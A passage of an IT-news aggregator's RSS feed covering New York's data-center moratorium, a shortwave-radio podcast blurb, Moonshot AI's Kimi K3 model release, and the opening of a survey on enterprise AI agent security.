<p class="wp-block-paragraph">Like other states, New York is seeing “unprecedented” demand for data center development that would ultimately require “massive amounts” of energy and water, Hochul noted. And community backlash seems to be <a href="https://datacenteropposition.com/wp-content/uploads/2026/07/June-2026-DCOR.pdf" target="_blank" rel="noreferrer noopener">accelerating at the same pace</a>.</p>



<p class="wp-block-paragraph">This is “a symptom of a bigger, nationwide issue,” said <a href="https://moorinsightsstrategy.com/team/matt-kimball/" target="_blank" rel="noreferrer noopener">Matt Kimball</a>, VP and principal analyst for data center technologies at Moor Insights &amp; Strategy. “Compute demand is far outpacing the grid,” prompting state and local leaders to pause and figure out how to manage things more effectively.</p>



<h2 class="wp-block-heading">Creating a blueprint for local development, community support</h2>



<p class="wp-block-paragraph">New York already requires data centers to pay more for energy, or to supply their own, to keep costs affordable for residents. Hochul also plans to pursue legislation that would repeal sales tax exemptions for massive data centers already existing in the state.</p>



<p class="wp-block-paragraph">During the moratorium, New York will develop a “Generic Environmental Impact Statement” (GEIS) to assess the potential environmental impacts of data center construction and operation, including their water and <a href="https://www.networkworld.com/article/4196922/how-data-centers-cope-with-heat-waves.html" target="_blank">energy demands</a> and impact on air quality. Once it’s lifted, new data center projects will only be allowed to proceed if they strictly observe state, zoning, and other local approvals.</p>



<p class="wp-block-paragraph">On a shorter 60-day timeline, the state will issue a Community Investment Framework (CIF) to provide guidance to local governments negotiating large-scale data center deals, and to ensure operators are investing in and partnering with host communities and workforces. This will set standardized expectations for projects and establish baseline thresholds for data center operators’ investment into local communities.</p>



<p class="wp-block-paragraph">Notably, New York is proposing a contribution of $1 million per megawatt (MW) of anticipated utility demand per project. Thus, 50 megawatts of use would require data center operators to reinvest $50 million into their host community; 400 megawatts would require $400 million.</p>



<p class="wp-block-paragraph">The framework will include ‘Good Neighbor Commitments’ around landscaping, design, and mitigation of noise and light pollution; labor commitments to give organized labor “a seat at the table” to determine wage standards, local hiring, and workforce development; and a community investment fund to support the host community’s “long-term economic vitality and quality of life.”</p>



<p class="wp-block-paragraph">Data center operators, for instance, could provide direct financial support to host communities, or invest in public infrastructure, housing improvements, workforce development and training programs, or in broadband expansion.</p>



<p class="wp-block-paragraph">“Having a published playbook for how to make this work across a state versus having to negotiate this on a county-by-county basis should be a win for everybody,” Moor’s Kimball noted.</p>



<p class="wp-block-paragraph">Separately, New York is also considering establishing a fund that would require data centers to invest in the state’s aging grid infrastructure and support new clean energy procurement.</p>



<h2 class="wp-block-heading">What enterprises and other states should be watching</h2>



<p class="wp-block-paragraph">Realistically, a data center buildout takes anywhere from 3 to 5 years from the point of site selection to turning on the switch for the first time, Kimball pointed out. The one-year moratorium doesn’t do too much for that.</p>



<p class="wp-block-paragraph">What matters more is what New York does during that pause, he noted, for example, establishing a regulatory framework to re-price the cost of hyperscale deployment, determining costs for grid upgrades or “bring your own power” expectations, developing requirements for more formalized operator contributions to the local community, or considering the repeal of tax exemptions.</p>



<p class="wp-block-paragraph">“And really, this subsidizing angle is the biggest,” said Kimball. States across the country have been subsidizing buildouts to get data center business for years. “This could signal the beginning of the end of those subsidies for many states.”</p>



<p class="wp-block-paragraph">For enterprise IT leaders, the headline is the signal that power and permitting are now “first-order variables” for infrastructure strategies, right alongside cost and latency requirements, said Kimball.</p>



<p class="wp-block-paragraph">So, if an enterprise’s cloud or co-location strategy or roadmap assumes hyperlocal capacity, that assumption now carries some risk. CIOs and IT leaders should therefore work with providers to gain more clarity on regional capacity.</p>



<p class="wp-block-paragraph">The moratorium could result in some “border-hopping,” with enterprises hosting local servers in adjacent states like Pennsylvania, Connecticut, or New Jersey, but that’s not likely to be widespread, Kimball noted.</p>



<p class="wp-block-paragraph">The realistic regional impact will be “more of a slow squeeze rather than a shock,” he said. This could result in tighter colocation availability and firmer pricing in the New York Metropolitan area over the next few years. Cloud providers may also steer new AI capacity to regions like Georgia, Ohio, Texas, and Utah, where power and permitting are more predictable.</p>



<h2 class="wp-block-heading">An inflection point, but more trickle-down than direct impact</h2>



<p class="wp-block-paragraph">Indeed, noted <a href="https://www.infotech.com/profiles/jeremy-roberts" target="_blank" rel="noreferrer noopener">Jeremy Roberts</a>, senior director for research and content at Info-Tech Research Group, the moratorium is an “inflection point” and a “way to placate an increasingly angry public,”.</p>



<p class="wp-block-paragraph">People don’t like the fact that, beyond the initial build, data centers don’t create many jobs, they take up a lot of space, they use a significant amount of power and resources, and they can be “noisy and smelly.”</p>



<p class="wp-block-paragraph">However, the impact of the moratorium is likely going to be “macro” for everyday enterprises, as New York is specifically targeting hyperscale data centers.</p>



<p class="wp-block-paragraph">“If you were planning on building a data center in New York and your name is not [Microsoft CEO] Satya Nadella, it’s probably not going to affect you,” said Roberts.</p>



<p class="wp-block-paragraph">But the consequences of the move will certainly trickle down, for instance, with AI device or hardware purchases supplanting software acquisition. Roberts pointed to <a href="https://www.nytimes.com/2026/07/15/business/dealbook/ibm-ai-software-consulting.html" target="_blank" rel="noreferrer noopener">IBM’s history-making stock plunge</a> this week, which the company attributed to enterprise buyers diverting IT budgets away from software and mainframes to stockpile AI hardware like servers and memory chips to get ahead of anticipated supply issues and price increases.</p>



<p class="wp-block-paragraph">If enterprises plan to invest in anything that uses storage or CPUs, they will be paying more in the future, Roberts said. “It’s a symptom of a problem you’re going to feel.”</p>



<p class="wp-block-paragraph">That said, constraints usually inspire innovation; if a hyperscaler can’t build a 50MW data center, it will likely find ways to string together smaller data centers or adapt in other ways. This could “percolate” across the industry, Roberts said. “People are endlessly creative.”</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New York State just hit pause on the AI data center boom]]></title>
<description><![CDATA[As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.



New York Governor Kathy Hochul this week signed an Executive Order described as the “nation’s first moratorium” on new hyperscale data centers, massive...]]></description>
<link>https://tsecurity.de/de/3674884/it-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674884/it-nachrichten/new-york-state-just-hit-pause-on-the-ai-data-center-boom/</guid>
<pubDate>Fri, 17 Jul 2026 03:32:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI use ratchets up, demand for data center capacity is higher than it’s ever been. But New York State is telling the industry: Not so fast.</p>



<p class="wp-block-paragraph">New York Governor Kathy Hochul this week signed an <a href="https://www.governor.ny.gov/news/first-statewide-moratorium-new-hyperscale-data-centers-launched-governor-kathy-hochul" target="_blank" rel="noreferrer noopener">Executive Order</a> described as the “nation’s first moratorium” on new hyperscale data centers, massive factories that typically comprise thousands of servers devouring tens or hundreds of megawatts of power.</p>



<p class="wp-block-paragraph">During this up to one year pause, the state will halt issuance of environmental permits for data centers as it develops a regulatory framework to protect ratepayers, the energy grid, the environment, and local communities.</p>



<p class="wp-block-paragraph">Like other states, New York is seeing “unprecedented” demand for data center development that would ultimately require “massive amounts” of energy and water, Hochul noted. And community backlash seems to be <a href="https://datacenteropposition.com/wp-content/uploads/2026/07/June-2026-DCOR.pdf" target="_blank" rel="noreferrer noopener">accelerating at the same pace</a>.</p>



<p class="wp-block-paragraph">This is “a symptom of a bigger, nationwide issue,” said <a href="https://moorinsightsstrategy.com/team/matt-kimball/" target="_blank" rel="noreferrer noopener">Matt Kimball</a>, VP and principal analyst for data center technologies at Moor Insights &amp; Strategy. “Compute demand is far outpacing the grid,” prompting state and local leaders to pause and figure out how to manage things more effectively.</p>



<h2 class="wp-block-heading">Creating a blueprint for local development, community support</h2>



<p class="wp-block-paragraph">New York already requires data centers to pay more for energy, or to supply their own, to keep costs affordable for residents. Hochul also plans to pursue legislation that would repeal sales tax exemptions for massive data centers already existing in the state.</p>



<p class="wp-block-paragraph">During the moratorium, New York will develop a “Generic Environmental Impact Statement” (GEIS) to assess the potential environmental impacts of data center construction and operation, including their water and <a href="https://www.networkworld.com/article/4196922/how-data-centers-cope-with-heat-waves.html" target="_blank">energy demands</a> and impact on air quality. Once it’s lifted, new data center projects will only be allowed to proceed if they strictly observe state, zoning, and other local approvals.</p>



<p class="wp-block-paragraph">On a shorter 60-day timeline, the state will issue a Community Investment Framework (CIF) to provide guidance to local governments negotiating large-scale data center deals, and to ensure operators are investing in and partnering with host communities and workforces. This will set standardized expectations for projects and establish baseline thresholds for data center operators’ investment into local communities.</p>



<p class="wp-block-paragraph">Notably, New York is proposing a contribution of $1 million per megawatt (MW) of anticipated utility demand per project. Thus, 50 megawatts of use would require data center operators to reinvest $50 million into their host community; 400 megawatts would require $400 million.</p>



<p class="wp-block-paragraph">The framework will include ‘Good Neighbor Commitments’ around landscaping, design, and mitigation of noise and light pollution; labor commitments to give organized labor “a seat at the table” to determine wage standards, local hiring, and workforce development; and a community investment fund to support the host community’s “long-term economic vitality and quality of life.”</p>



<p class="wp-block-paragraph">Data center operators, for instance, could provide direct financial support to host communities, or invest in public infrastructure, housing improvements, workforce development and training programs, or in broadband expansion.</p>



<p class="wp-block-paragraph">“Having a published playbook for how to make this work across a state versus having to negotiate this on a county-by-county basis should be a win for everybody,” Moor’s Kimball noted.</p>



<p class="wp-block-paragraph">Separately, New York is also considering establishing a fund that would require data centers to invest in the state’s aging grid infrastructure and support new clean energy procurement.</p>



<h2 class="wp-block-heading">What enterprises and other states should be watching</h2>



<p class="wp-block-paragraph">Realistically, a data center buildout takes anywhere from 3 to 5 years from the point of site selection to turning on the switch for the first time, Kimball pointed out. The one-year moratorium doesn’t do too much for that.</p>



<p class="wp-block-paragraph">What matters more is what New York does during that pause, he noted, for example, establishing a regulatory framework to re-price the cost of hyperscale deployment, determining costs for grid upgrades or “bring your own power” expectations, developing requirements for more formalized operator contributions to the local community, or considering the repeal of tax exemptions.</p>



<p class="wp-block-paragraph">“And really, this subsidizing angle is the biggest,” said Kimball. States across the country have been subsidizing buildouts to get data center business for years. “This could signal the beginning of the end of those subsidies for many states.”</p>



<p class="wp-block-paragraph">For enterprise IT leaders, the headline is the signal that power and permitting are now “first-order variables” for infrastructure strategies, right alongside cost and latency requirements, said Kimball.</p>



<p class="wp-block-paragraph">So, if an enterprise’s cloud or co-location strategy or roadmap assumes hyperlocal capacity, that assumption now carries some risk. CIOs and IT leaders should therefore work with providers to gain more clarity on regional capacity.</p>



<p class="wp-block-paragraph">The moratorium could result in some “border-hopping,” with enterprises hosting local servers in adjacent states like Pennsylvania, Connecticut, or New Jersey, but that’s not likely to be widespread, Kimball noted.</p>



<p class="wp-block-paragraph">The realistic regional impact will be “more of a slow squeeze rather than a shock,” he said. This could result in tighter colocation availability and firmer pricing in the New York Metropolitan area over the next few years. Cloud providers may also steer new AI capacity to regions like Georgia, Ohio, Texas, and Utah, where power and permitting are more predictable.</p>



<h2 class="wp-block-heading">An inflection point, but more trickle-down than direct impact</h2>



<p class="wp-block-paragraph">Indeed, noted <a href="https://www.infotech.com/profiles/jeremy-roberts" target="_blank" rel="noreferrer noopener">Jeremy Roberts</a>, senior director for research and content at Info-Tech Research Group, the moratorium is an “inflection point” and a “way to placate an increasingly angry public,”.</p>



<p class="wp-block-paragraph">People don’t like the fact that, beyond the initial build, data centers don’t create many jobs, they take up a lot of space, they use a significant amount of power and resources, and they can be “noisy and smelly.”</p>



<p class="wp-block-paragraph">However, the impact of the moratorium is likely going to be “macro” for everyday enterprises, as New York is specifically targeting hyperscale data centers.</p>



<p class="wp-block-paragraph">“If you were planning on building a data center in New York and your name is not [Microsoft CEO] Satya Nadella, it’s probably not going to affect you,” said Roberts.</p>



<p class="wp-block-paragraph">But the consequences of the move will certainly trickle down, for instance, with AI device or hardware purchases supplanting software acquisition. Roberts pointed to <a href="https://www.nytimes.com/2026/07/15/business/dealbook/ibm-ai-software-consulting.html" target="_blank" rel="noreferrer noopener">IBM’s history-making stock plunge</a> this week, which the company attributed to enterprise buyers diverting IT budgets away from software and mainframes to stockpile AI hardware like servers and memory chips to get ahead of anticipated supply issues and price increases.</p>



<p class="wp-block-paragraph">If enterprises plan to invest in anything that uses storage or CPUs, they will be paying more in the future, Roberts said. “It’s a symptom of a problem you’re going to feel.”</p>



<p class="wp-block-paragraph">That said, constraints usually inspire innovation; if a hyperscaler can’t build a 50MW data center, it will likely find ways to string together smaller data centers or adapt in other ways. This could “percolate” across the industry, Roberts said. “People are endlessly creative.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.networkworld.com/article/4198048/new-york-state-just-hit-pause-on-the-ai-data-center-boom.html" target="_blank">NetworkWorld</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4685: Listening to SSB stations in the early 1980s]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Lennart tells about the shortwave radio he had in the early 1980s and what he could hear on it, for example he marine band, amateur radio, CB and of course broadcast stations. The radio did not have a BFO to demodulate SSB stations, but using a s...]]></description>
<link>https://tsecurity.de/de/3674839/podcasts/hpr4685-listening-to-ssb-stations-in-the-early-1980s/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674839/podcasts/hpr4685-listening-to-ssb-stations-in-the-early-1980s/</guid>
<pubDate>Fri, 17 Jul 2026 02:03:19 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
Lennart tells about the shortwave radio he had in the early 1980s and what he could hear on it, for example he marine band, amateur radio, CB and of course broadcast stations. The radio did not have a BFO to demodulate SSB stations, but using a second radio close by and using its local oscillator he could still make those signals intelligible.</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4685/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a 